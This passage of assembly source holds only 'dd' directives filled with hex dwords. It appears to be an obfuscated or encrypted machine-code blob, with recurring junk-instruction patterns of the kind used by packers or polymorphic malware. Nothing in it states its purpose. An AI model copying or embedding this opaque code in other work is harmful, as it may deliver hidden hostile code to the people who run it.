		dd 893F4DEBh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 25B92CC3h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 57DF41C3h
		dd 0D2E82F48h, 820F7C69h, 6, 0E599C781h, 6A58A8h, 0FFF1EB80h
		dd 0E71A4D95h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 3BB3CCD8h, 53139E76h
		dd 8D8DE26Fh, 5EAA4AAh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 31C35646h, 75A799FAh,	0DEB70F2Ch, 2065B589h
		dd 0D1FF05E7h, 0E5EB8166h, 8DBD834Ch, 105E72Bh,	84850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 346E2CC3h, 6A76BCF4h, 852B6002h, 5E7255Dh
		dd 9870ECBBh, 8950614Dh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0EB5122C3h, 0C381ADE0h
		dd 1C36BD2Bh, 1ABD95FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 93845CC3h, 87D124E7h
		dd 82E9F929h, 0E800000Eh, 0
		dd 0CBED815Dh, 0F05EBB7h, 383h,	0FFBF0F00h, 5810Fh, 5BF0000h
		dd 8D15DBDFh, 0EA90FD85h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0F109F4EFh
		dd 0FB8B50C6h, 66240489h, 64938DBBh, 35FFh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 706450C3h, 0D3EF5393h, 0A59D2BD8h, 6405E720h, 2589h
		dd 8B660000h, 0FD85FFDAh, 6A05E714h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1EAAC351h
		dd 6F6E89A9h, 0FE84197h, 0B3000000h, 17227A79h,	0F845C40Dh
		dd 71DA5571h, 360DB07h,	0E704B9B5h, 0CB8B6605h,	0F605F61h
		dd 285h, 0E85E5200h, 0Fh, 881DDDF6h, 56A7246Dh,	530C9B36h
		dd 8BEE39D6h, 0E72B7595h, 6A615905h, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 41274C56h
		dd 20D9D2B8h, 0B5FF3011h, 5E72449h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 82C35545h, 8D8968B0h, 5E701A5h
		dd 45195FFh, 29E905E7h,	0F000001h, 386h, 0DA8B6600h, 2ED38166h
		dd 0E900B067h, 5, 113A7FF1h, 8170E60Ah,	0EFDE58EBh, 0F71E425h
		dd 684h, 0D858900h, 3C05E724h, 0F1830F61h, 0F000000h, 0B60FDEB7h
		dd 0E38166C8h, 6BA7FD6h, 0E9000000h, 0Dh, 5402CA3Eh, 707CD6BCh
		dd 362C6BFBh, 0FC18BE1h, 287h, 0C1FD8A00h, 0FE904E8h, 0AD000000h
		dd 90879237h, 3AFF9A68h, 37D13491h, 0F766E7A6h,	0D88B66E2h
		dd 8B66C82Bh, 0E9D18BDFh, 7, 234E89C9h,	0E975FA65h, 90h
		dd 0BD7BC9BFh, 14E922h,	2F880000h, 53EB7AA8h, 0A2B48B87h
		dd 0F6B64A10h, 766BD5F1h, 858BD24Eh, 8,	83FBC380h, 896007C0h
		dd 0E731AD95h, 999D8B05h, 6105E72Ch, 6000C083h,	31C1F680h
		dd 0E72F09B5h, 0D03B6105h, 17830Fh, 8B660000h, 3AE9DFh
		dd 0AE90000h, 0CD000000h, 781AB004h, 0A2E360EAh, 0FF8D8B75h
		dd 83FFFFFFh, 840F01E1h, 1Ch, 0A58358B7h, 0FFFFFFFFh, 8941B7FEh
		dd 895h, 5DBD8900h, 0E905E72Eh,	0
		dd 34C7B58Dh, 16BB05EBh, 6A3C90A4h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0A954989h
		dd 0C195FF61h, 6A05E721h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0E8D3C355h,	45B96156h
		dd 6A000010h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0F3DC352h, 0FFBF0F03h,	6AFCE183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0E804C353h, 82DB8060h, 6AFC61h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B73A9DC3h
		dd 0C02B6D96h, 2BFEBF0Fh, 65BD0BD2h, 0AD05E727h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 9153C352h, 8327EEB3h
		dd 8CDB4E71h, 6B0FBB66h, 0BFFE8B66h, 24953A5h, 880Dh, 0A9958B00h
		dd 0BF05E71Ah, 45517824h, 6800F60h, 0F000000h, 8Ah, 0DE800h
		dd 869C0000h, 0BB1EAC72h, 84172320h, 0E9D5E16Ch, 11h, 0D318D640h
		dd 0FD8D2F53h, 6701972Fh, 7866BC5h, 8B615916h, 0E72A4D8Dh
		dd 0F3816605h, 8B501A53h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6ADFB70Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0B54FC356h,	2BF7B62Dh
		dd 8B66F023h, 65BD83FEh, 5E718h, 63840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 7EAA07C3h, 8589CF4Ch, 5E70C4Dh, 0B8h, 918D8900h, 8D05E70Eh
		dd 0E74D248Dh, 66FE8B05h, 0E04BE381h, 6AE1FFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0C27EC8C3h, 5D7AC2B5h, 39BD8328h, 5E727h, 526840Fh
		dd 0BD0B0000h, 5E729B5h, 2739BD83h, 0F0105E7h, 52E84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0A9AA98E5h, 39BD83DDh, 305E727h,	4CB860Fh
		dd 9D8B0000h, 5E70689h,	56006A60h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 4E60DFF4h, 85097394h
		dd 5E719D9h, 66D98C66h,	0E180D98Bh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 7BA7EFC7h
		dd 50D51412h, 0FEBF0F2Eh, 840FC90Ah, 1B6h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1EC35141h, 0DCF62BFCh
		dd 0CE8538Fh, 22000000h, 3702FFF2h, 268AFB21h, 0BB60A5AEh
		dd 4F5041ABh, 5B535B5Bh, 699858Bh, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 57912FC3h
		dd 3332649Ah, 0E7130985h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0B6405C8Bh
		dd 0BE9h, 0CF711200h, 29112B5Dh, 3A6A9359h, 5012B790h
		dd 1478D6BBh, 6A900Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 850F4CC3h, 12h, 0DE9h, 0C91E4A00h
		dd 7215483Dh, 0EF43FD19h, 0FB8B8803h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B66C3C3h, 4D9D89DEh, 6805E72Eh, 6F1BFBC3h, 0CE8h, 0BB953000h
		dd 703EAE31h, 7F438DEDh, 34815F5Ch, 4F83C24h, 55006A6Fh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 2D6759A5h, 608AE520h, 1B7195FFh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 48C309C3h
		dd 880F20ABh, 8, 75852953h, 5B05E707h, 0A6468589h, 0F6005EAh
		dd 68Ch, 11958900h, 0E905E70Bh,	5, 0B28392BBh, 40E961AEh
		dd 6A000002h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0E6B3C356h, 858BFBF2h,	5EAA63Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C35040h
		dd 0A9712E4h, 0BD0B7D6Bh, 5E713E1h, 2A21BD89h, 0C705E7h
		dd 18h,	1D75BD8Bh, 0B58B05E7h, 5EAA642h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 42C35040h, 0AE536401h
		dd 89858BF5h, 6A05E732h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0F433C355h,	0ABA2F1ADh
		dd 95313832h, 5E70329h,	81660689h, 8BFBF4D7h, 0E7069985h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0A3E26888h, 0D744890Fh, 44689E5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 5AC35141h, 230E2E4Eh
		dd 0D5BD8BA5h, 9605E727h, 0BB5055B3h, 498F773Fh, 51006A96h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0A0EA385Bh, 85898E0Ah, 5E72BC1h, 0A63EB5FFh,	0BD0105EAh
		dd 5E70119h, 4E8h, 1F03FF00h, 0D1CFBB00h, 60505231h, 42FEEABBh
		dd 8B665058h, 8B615BF2h, 0F042444h, 58Fh, 0FE2ABF00h, 8B54CCh
		dd 12E9h, 2B0FD500h, 66A4BD1Bh,	0C499597Fh, 93AEEC11h
		dd 899FFE71h, 60042444h, 8CCBA66h, 61605250h, 5250310Fh
		dd 585A310Fh, 5861585Ah, 5840Fh, 93BF0000h, 8D191A71h
		dd 0EAA64685h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 377BAA32h, 8B6611A0h
		dd 0F5090F8h, 483h, 61605000h, 6A905Bh,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 4E7A5DC3h
		dd 4293718Eh, 9D8902EAh, 5E72749h, 1B7195FFh, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 2F574CC3h, 389E0DA1h, 61DABF0Fh, 5BCCB351h, 0CE960h
		dd 10280000h, 49278430h, 0CDABE4Bh, 850B8640h, 5E711A9h
		dd 3985C761h, 305E727h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1CE5C357h
		dd 8B8681B2h, 0E712019Dh, 0FD8D2905h, 8305E72Bh, 0EAA646BDh
		dd 840F0005h, 2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0DCC35343h, 8F18521Fh, 21E95FE5h, 1000000h
		dd 0E70AF58Dh, 0C305005h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 31C35343h, 8E9B9A5h, 41000000h, 0CF7AC42Ch
		dd 6AF918CCh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0B183C356h, 90FEC8D7h,	0FA071AF9h
		dd 202D9D8Bh, 0BD8305E7h, 5E72739h, 1F850F03h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 59B1C351h, 0B58B168Bh, 0F0C7F311h, 35958960h
		dd 8B05E719h
		dd 0E722F1B5h, 0BD836105h, 5EAA646h, 0DF840F00h, 66000003h
		dd 2EAADF81h, 0A646B5FFh, 9D2B05EAh, 5E70355h, 21995FFh
		dd 11E905E7h, 67000000h, 91507EE6h, 6B980CF2h, 439FBC6Bh
		dd 0EBB9FA51h, 0A63AB58Bh, 6A05EAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 844C0DC3h
		dd 81665603h, 5F6F2DD7h, 106C7h, 0BD230001h, 5E72885h
		dd 5096DE8Bh, 10E8h, 312E3B00h,	39639BABh, 3DF8DB1h, 381FC238h
		dd 0FE8605Eh, 0A2000000h, 0E3AACAD6h, 4421366Ch, 0A7BFE5AFh
		dd 0E85FC70Bh, 7, 0E9C2EA82h, 5F1E2E1Eh, 6A965F61h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0F3B5C352h, 0F511DF2Bh, 179BBB66h, 0A646B5FFh, 6A05EAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BC0409C3h, 3BE48766h, 8137CB91h, 5AA7B4F3h,	3195FF7Ch
		dd 0E805E700h, 11h, 0E3E08104h,	0E624A622h, 4B97E92Dh
		dd 5DF7FBCh, 0A9853119h, 5B05E70Ah, 0A63AB58Bh,	8D8905EAh
		dd 5E71551h, 858BDA8Ah,	5E7187Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 91C35646h, 55937217h, 8BF904B4h
		dd 0E729C19Dh, 0C4868905h, 6A000000h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B381C353h
		dd 9D8BBDDEh, 5E72F11h,	1AA9958Bh, 6A05E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD0165C3h
		dd 5E72C41h, 5830Fh, 0D3BF0000h, 8301EB61h, 6A04C2h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 9132BC3h, 0E721C585h, 859D0B05h, 8905E70Ch, 0BF0F2050h
		dd 9D9531DFh, 8D05E70Ah, 0EABAC385h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 898A24CAh
		dd 0D2440E89h, 128C0F4Dh, 0E9000000h, 0Dh, 0BD4DF798h
		dd 53BDD876h, 27EEB391h, 0B8868983h, 0E8000000h, 0Fh, 0C53246D5h
		dd 2708D48h, 48F4D072h,	0B7FBDCA2h, 6A5FC8h, 46B5FFF5h
		dd 0F05EAA6h, 95FFDEB7h, 5E71ABDh, 0F50DE8Bh, 58Fh, 33E7BB00h
		dd 348921B1h, 859D2B24h, 0E905E71Ah, 6,	0AACB8E08h, 0B5FFB99Ah
		dd 5EAA646h, 10E8h, 65E62C00h, 6AD23B0Fh, 0B20417A3h, 73EFF3B9h
		dd 0FF5BF577h, 0E7077995h, 98F78105h, 832C82DDh, 0E72D0DBDh
		dd 840F0005h, 38h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0FDC35040h, 330D4FBFh, 0E700219Dh, 820F5005h
		dd 9, 8B665250h, 5A310FD8h, 24348958h, 0A646B5FFh, 6A05EAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 997960C3h, 243595FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 9D6293C3h, 58BD2778h
		dd 68F0F7Bh, 89000000h,	0E72BF1BDh, 0C3816605h,	0B5FF990Bh
		dd 5EAA646h, 8E1BD89h, 95FF05E7h, 5E7076Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0DDC35141h, 0BD83A587h
		dd 5E72D85h, 21840F02h,	0F8000000h, 1185858Bh, 5E805E7h
		dd 0D0000000h, 6729C7C2h, 68B1D381h, 0C65B7882h, 85310000h
		dd 5E72539h, 231985C7h,	5E7h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 33791AC3h
		dd 8B9965E0h, 0C991BBFEh, 84E96AC9h, 0FFFFFF2h,	58Ah, 0EB816600h
		dd 0C18BD6F6h, 95858DF8h, 8B05E713h, 0E71AD99Dh, 0F98A9005h
		dd 9092B750h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 5E34A8C3h, 7CEB81AAh, 8B2F34E5h
		dd 0E72481BDh, 6A006A05h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 87F9C356h, 796929C1h
		dd 136D7120h, 858DF88Ah, 5EBC850h, 4698589h, 810F05E7h
		dd 0Ch,	7E9h, 61ADA400h, 0EC1351BAh, 6A05C083h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 89A3C353h, 0E7165595h, 12E905h, 0ED340000h, 0AE4AB809h
		dd 407212C1h, 67C11D6Ch, 0A476D105h, 0BB665150h, 895B1E82h
		dd 0C7812404h, 5FE21254h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 29703AC3h, 6890Fh, 9D8B0000h
		dd 5E7207Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0FDFBBC3h, 28Eh,	0FFFA8B00h, 0E71A4D95h
		dd 188F0F05h, 53000000h, 11E9h,	0F8424900h, 2FAC39B4h
		dd 0B2FFE26Ch, 208FAD52h, 8D5FFCB7h, 0EAA4AA8Dh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8050899Dh, 0F5B07D7h, 0D1FFFFBFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 83C35747h, 0C86A898Dh, 0E800AE9Bh
		dd 11h,	0C80BDA87h, 10D709D2h, 0B4686A29h, 0B05777A9h
		dd 4CC380D7h, 8DBD835Fh, 105E72Bh, 47850Fh, 8E90000h, 0B0000000h
		dd 2E049393h, 6A1C6E24h, 50006A02h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 29C187F9h, 66907969h
		dd 5650DF8Bh, 5BDE8B66h, 0DBBF0F90h, 1ABD95FFh,	0BF0F05E7h
		dd 0D88E9DAh, 0E80000h,	5D000000h, 0C85AED81h, 34BF05EBh
		dd 8D3290F4h, 0EA90FD85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0A9B5314Ch
		dd 5005E711h, 66240489h, 648408BFh, 35FFh, 0EB800000h
		dd 258964A9h, 0
		dd 0D38B6660h, 0FD85FF61h, 6A05E714h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 384BC352h
		dd 6E26CAFAh, 0FF6A518Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0C9C35141h, 0BD899A19h, 5E70369h, 595B5FFh
		dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 320148C3h, 0FFFE1146h, 0E7045195h, 0D9E905h
		dd 9D230000h, 5E72AE1h,	9D8B00B0h, 5E70B95h, 0BDBD2960h
		dd 0F05E72Eh, 68Ah, 4DB50100h, 6105E722h, 71E470E6h, 21C98589h
		dd 613C05E7h, 0A5830Fh,	9D890000h, 5E70AE1h, 80C8B60Fh
		dd 6BAAEF7h, 8B000000h,	0E71365BDh, 8BC18B05h, 0E705919Dh
		dd 4E8C105h, 19C5BD29h,	0F76605E7h, 0D78166E2h,	0C82B5215h
		dd 0B418509h, 0D18B05E7h, 66E9h, 0FAB70F00h, 1858Bh, 66600000h
		dd 0D181D88Bh, 1364D23Ah, 7C08361h, 3B00C083h, 10830FD0h
		dd 8B000000h, 5FEB80FAh, 3AE9h,	6DBD8B00h, 8B05E724h, 0FFFFFF8Dh
		dd 5DBD23FFh, 8305E705h, 840F01E1h, 1Fh, 0E369BB66h, 0FFFFA583h
		dd 0FFEFFFFh, 9589DABFh, 1, 28AD9D29h, 0E905E7h, 8D000000h
		dd 0EB450CB5h, 0B5853105h, 6A05E722h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 1148D9AAh, 8D9D2BA8h, 0E905E704h, 0Bh, 6BCDA2CBh, 0C29A6D4Eh
		dd 0FF9763B9h, 0E721C195h, 31858905h, 8B05E70Bh, 0E70B559Dh
		dd 103DB905h, 0BD890000h, 5E72315h, 6AFCE183h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 31BFC351h, 279F806Ah, 8BF6C07Ah, 80FCDE8Bh, 0B86AD7h
		dd 81000000h, 6FFA62E3h, 0BA1Dh, 15BF0000h, 0AD63E247h
		dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 14h, 0CAABDA27h
		dd 0E5CB4FEDh, 3B0884C3h, 835E7F35h, 6ADED69Eh,	0DD950360h
		dd 6605E72Ch, 5B61C68Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 3AC35646h, 2005B509h,	880D05E7h, 8B000000h
		dd 0A9958BDAh, 5105E71Ah, 4D8D8B5Bh, 8105E72Ah,	6F9C69C3h
		dd 0C28B502Ah, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 3983C355h, 1885E381h, 0BD8B160Eh,	5E72F71h
		dd 1865BD83h, 0F0005E7h, 6E84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 54E1DD72h
		dd 0FB40F795h, 0B8F9539Bh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9AC35040h
		dd 0DCC96F80h, 0A0343A48h, 219531F4h, 8D05E721h, 0E74D248Dh
		dd 63BF6605h, 45BD8989h, 0FF05E717h, 0A5BD8BE1h, 8305E701h
		dd 0E72739BDh, 840F0005h, 491h,	6890Fh,	85890000h, 5E7256Dh
		dd 2739BD83h, 0F0105E7h, 49384h, 0FD9D8B00h, 8305E72Bh
		dd 0E72739BDh, 860F0305h, 44Ah,	60FB8B66h, 0AD7E281h, 0BD893D53h
		dd 5E70025h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 9D317BC3h, 5E717A1h, 78F6BB66h
		dd 6AD98C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0FE43C356h, 0AF291F79h, 891426F0h
		dd 0E70BF595h, 0F2DF8105h, 8047423Dh, 6A04E1h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 5FAB95C3h, 0D2B7C6C3h, 0C90AB0EEh, 19E840Fh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0C94E4FC3h, 9219589h, 9D8905E7h, 5E71CF9h, 699858Bh
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 31E019C3h, 0E717F195h, 9853305h, 8B05E713h
		dd 0E7211D9Dh, 0C59D0905h, 5005E711h, 0BF665250h, 310F38E8h
		dd 6E9h, 0A577B700h, 5A63BCAFh,	24048958h, 2860Fh, 99B70000h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0C61C39C3h, 68DA8B66h, 6D14CC07h,	880F5660h
		dd 0
		dd 10E85Eh, 0CB910000h,	0A59EF037h, 165CC1D0h, 69326226h
		dd 0DE9419Ch, 0CB000000h, 40FEF81Ch, 67C77078h,	26C680FBh
		dd 34816158h, 0BCFF824h, 55006A6Dh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0AEF161D2h, 8AC03EFEh
		dd 860F51FDh, 2, 0FF5F6160h, 0E71B7195h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 862546CEh, 13800Fh, 0EE90000h, 44000000h, 0C1DEAF17h
		dd 0A3735BA2h, 0E71FD7EEh, 46858930h, 6A05EAA6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0D69CC352h, 17EE91Ch, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0CF8104C3h, 27EFBC9Bh
		dd 0A63E858Bh, 6A05EAh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 9813DDC3h, 4353E798h, 6DDB8060h
		dd 0C761CFB6h, 1800h, 0FB33BB00h, 0B58B3AECh, 5EAA642h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 10C35545h
		dd 6FD1BC45h, 30E07850h, 3D9D0B34h, 6005E72Fh, 24D5858Bh
		dd 958B05E7h, 5E717ADh,	89858B61h, 0BB05E732h, 6724378Dh
		dd 6895B56h, 0DE38156h,	5B353133h, 699858Bh, 9D8B05E7h
		dd 5E704A1h, 89044689h,	0E72171BDh, 9E99605h, 0B5000000h
		dd 0B2E37094h, 0C38205CEh, 9ADBB50h, 0F961091h,	0F80h
		dd 0AE900h, 0A1E40000h,	4AA4A134h, 0D8053C92h, 0A63EB5FFh
		dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0F8D1D4C3h, 38A0Fh, 8B660000h, 8D0B60D8h
		dd 5E72011h, 13C830BBh,	20686116h, 0BFAE0303h, 2BD0C9D3h
		dd 0DF240481h, 52521C00h, 10E8h, 9DCFB100h, 46D67603h
		dd 62431AFDh, 9C23B7EDh, 0A5BB66C3h, 8D5B5BB7h,	0EAA64685h
		dd 9D9D8B05h, 5005E728h, 6E58BF66h, 81240489h, 8C1197CBh
		dd 7195FF69h, 0BB05E71Bh, 4CAA18A0h, 53006A61h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 74D8878Ah
		dd 28F364A1h, 0EE9CCh, 83070000h, 0BEA34391h, 85521A62h
		dd 4AD7734Fh, 273985C7h, 305E7h, 83FC0000h, 0EAA646BDh
		dd 840F0005h, 66h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0F5C35040h, 890F7438h, 2, 56E9FB8Bh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 70ADC355h, 98B35BE2h, 13E98138h
		dd 93000000h, 0FE129581h, 327CF8BAh, 0ED32BEF3h, 85D22C47h
		dd 305021CFh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 2D8589C0h, 6A05E702h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 7302C350h
		dd 2739BD83h, 0F0305E7h, 4B085h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DE85Eh, 9EEE0000h
		dd 0D7694F5Bh, 534BCC70h, 8B6C3767h, 0E724F1BDh, 0BD835B05h
		dd 5EAA646h, 6E840F00h,	66000004h, 0B5FFDF8Bh, 5EAA646h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E2C35343h
		dd 5E990h, 91DC0000h, 0FF2570E6h, 0E7021995h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8BFAA5A8h, 0EAA63AB5h, 106C705h, 6A000100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0C7F0C355h, 0F88B96E7h, 6A9650h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 8FA1A1C3h
		dd 46B5FF74h, 6A05EAA6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0BBC6C353h,	37725348h
		dd 0BA18589h, 95FF05E7h, 5E70031h, 3B9B529h, 0B58B05E7h
		dd 5EAA63Ah, 0C16B6BBh,	7D858B05h, 6605E718h, 89DC78BFh
		dd 0C486h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 5E6486B6h, 0BFC6ACDAh, 78D137CDh
		dd 1AA9958Bh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 71CDA0C3h, 0D98B6610h, 904C283h
		dd 0E72AED9Dh, 20508905h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0BC35646h, 0CF9D635Fh, 0F90C8A9h, 88Eh
